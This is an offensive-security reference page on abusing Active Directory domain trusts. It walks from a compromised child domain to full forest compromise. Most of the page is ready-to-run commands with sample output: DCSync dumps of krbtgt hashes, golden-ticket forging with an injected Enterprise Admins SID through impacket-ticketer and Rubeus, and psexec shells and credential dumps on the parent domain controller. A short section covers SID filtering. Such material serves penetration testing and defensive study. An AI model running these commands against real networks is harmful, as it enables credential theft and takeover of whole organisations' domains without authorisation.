# Domain Trust Abuse

> Techniques for abusing AD domain trust relationships to escalate privileges, move laterally across forests, and compromise linked domains via ticket attacks.

- **URL:** https://hackindex.io/platforms/active-directory/post-exploitation/ad-domain-trust-abuse
- **Path:** Active Directory > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/platforms/active-directory/post-exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

Domain trusts extend the attack surface beyond the compromised domain. A bidirectional transitive trust between a child and parent domain means full compromise of the child domain translates directly to full compromise of the parent and the entire forest. The technique abuses SID history to forge a ticket that includes the Enterprise Admins SID of the parent domain.

Requires the krbtgt hash of the child domain, the SID of both domains, and a bidirectional or parent-child trust. All available after DCSync on the child domain.

- krbtgt hash from the child domain (obtained via DCSync)
- Child domain SID and parent domain SID
- Bidirectional or parent-child trust relationship
- Enterprise Admins SID: parent domain SID + RID 519

## Enumerate trusts

Confirm the trust relationship and direction before attempting any cross-domain technique. A parent-child trust is always bidirectional and transitive.

#### Kali (bloodyAD / nxc)

**Enumerate domain trusts (Kali)**

```bash
# BloodyAD: query trust objects
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=trustedDomain)' --attr name trustDirection trustAttributes flatName

# nxc
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M enum_trusts
# name: corp.local
# trustDirection: 3
# trustAttributes: 32
# flatName: CORP
#
# # trustDirection 3 = bidirectional
# # trustAttributes 32 = intra-forest (parent-child)
```

#### Windows (PowerView / nltest)

**Enumerate domain trusts (Windows)**

```powershell
# PowerView
Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustAttributes
Get-ForestTrust | Select-Object SourceName, TargetName, TrustDirection

# Built-in: no tools needed
nltest /domain_trusts
nltest /trusted_domains
```

`trustDirection: 3` is bidirectional. `trustAttributes: 32` indicates an intra-forest trust (parent-child) where escalation applies. `trustAttributes: 8` indicates a transitive forest trust.

## Collect required material from child domain

The child-to-parent escalation needs the child domain krbtgt hash and both domain SIDs.

#### Kali (secretsdump / nxc)

**DCSync child domain (Kali)**

```bash
# Dump krbtgt hash from child domain DC
impacket-secretsdump $CHILD_DOMAIN/$USER:$PASSWORD@$CHILD_DC_IP -just-dc-user krbtgt

# Get child domain SID
nxc ldap $CHILD_DC_IP -u $USER -p $PASSWORD --get-sid

# Get parent domain SID
nxc ldap $PARENT_DC_IP -u $USER -p $PASSWORD --get-sid
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
#
# Child domain SID:  S-1-5-21-1111111111-2222222222-3333333333
# Parent domain SID: S-1-5-21-4444444444-5555555555-6666666666
```

#### Windows (Mimikatz / PowerView)

**DCSync child domain (Windows)**

```bash
# DCSync the child domain krbtgt
lsadump::dcsync /domain:$CHILD_DOMAIN /user:krbtgt

# Get domain SIDs
# PS> Get-DomainSID
# PS> Get-DomainSID -Domain $PARENT_DOMAIN
# Object  : krbtgt
# Hash NTLM: 7b5b518b1c33d1b22c3d0b70e76a6f90
```

## Forge inter-realm ticket with SID history injection

The attack forges a TGT for the child domain that includes the Enterprise Admins SID (`$PARENT_DOMAIN_SID-519`) in the PAC. When the parent DC sees this SID, it grants Enterprise Admin access across the forest.

#### Kali (impacket-ticketer)

**Forge inter-realm ticket (Kali)**

```bash
# Forge TGT with parent Enterprise Admins SID injected
# -519 = Enterprise Admins RID
impacket-ticketer -nthash $CHILD_KRBTGT_NTHASH -domain-sid $CHILD_DOMAIN_SID -domain $CHILD_DOMAIN -extra-sid $PARENT_DOMAIN_SID-519 Administrator

# With AES256 key (from secretsdump aes256_hmac field)
impacket-ticketer -aesKey $CHILD_KRBTGT_AES256 -domain-sid $CHILD_DOMAIN_SID -domain $CHILD_DOMAIN -extra-sid $PARENT_DOMAIN_SID-519 Administrator
# [*] Creating basic skeleton ticket and PAC Infos
# [*] Signing/Encrypting final ticket
# [*] Saving ticket in Administrator.ccache
```

#### Windows (Rubeus)

**Forge inter-realm ticket (Rubeus)**

```powershell
# Rubeus golden ticket with extra SID (Enterprise Admins)
.\Rubeus.exe golden /user:Administrator /domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID /rc4:$CHILD_KRBTGT_NTHASH /sids:$PARENT_DOMAIN_SID-519 /ptt

# With AES256
.\Rubeus.exe golden /user:Administrator /domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID /aes256:$CHILD_KRBTGT_AES256 /sids:$PARENT_DOMAIN_SID-519 /ptt
```

#### Kali (impacket)

**Use forged ticket against parent domain (Kali)**

```bash
# Set the ticket
export KRB5CCNAME=Administrator.ccache

# DCSync the parent domain
impacket-secretsdump $PARENT_DOMAIN/Administrator@$PARENT_DC_HOSTNAME -k -no-pass -just-dc

# Shell on parent DC
impacket-psexec $PARENT_DOMAIN/Administrator@$PARENT_DC_HOSTNAME -k -no-pass

# Verify access
nxc smb $PARENT_DC_IP -u Administrator -p '' --use-kcache
```

#### Windows (Mimikatz)

**Use forged ticket against parent domain (Windows)**

```bash
# Ticket already injected from /ptt: verify
# PS> klist

# DCSync parent domain
lsadump::dcsync /domain:$PARENT_DOMAIN /user:krbtgt
lsadump::dcsync /domain:$PARENT_DOMAIN /user:Administrator
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9a8b7c6d5e4f...
```

## SID filtering

SID filtering blocks SID history injection across forest boundaries. It is enabled by default on external trusts between separate forests but is **not** enabled on intra-forest parent-child trusts. Microsoft considers intra-forest trusts to be within the same security boundary, so any child domain compromise is a full forest compromise by design.

On external forest trusts, SID filtering blocks the `-extra-sid` technique. In that scenario, direct credential reuse or Kerberoasting across the trust are the viable paths.

## References

- [Impacket (GitHub)](https://github.com/fortra/impacket) - ticketer -extra-sid flag for SID history injection
- [NetExec / nxc (GitHub)](https://github.com/Pennyw0rth/NetExec) - enum_trusts module and --get-sid flag
- [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - golden /sids flag for Windows inter-realm ticket forging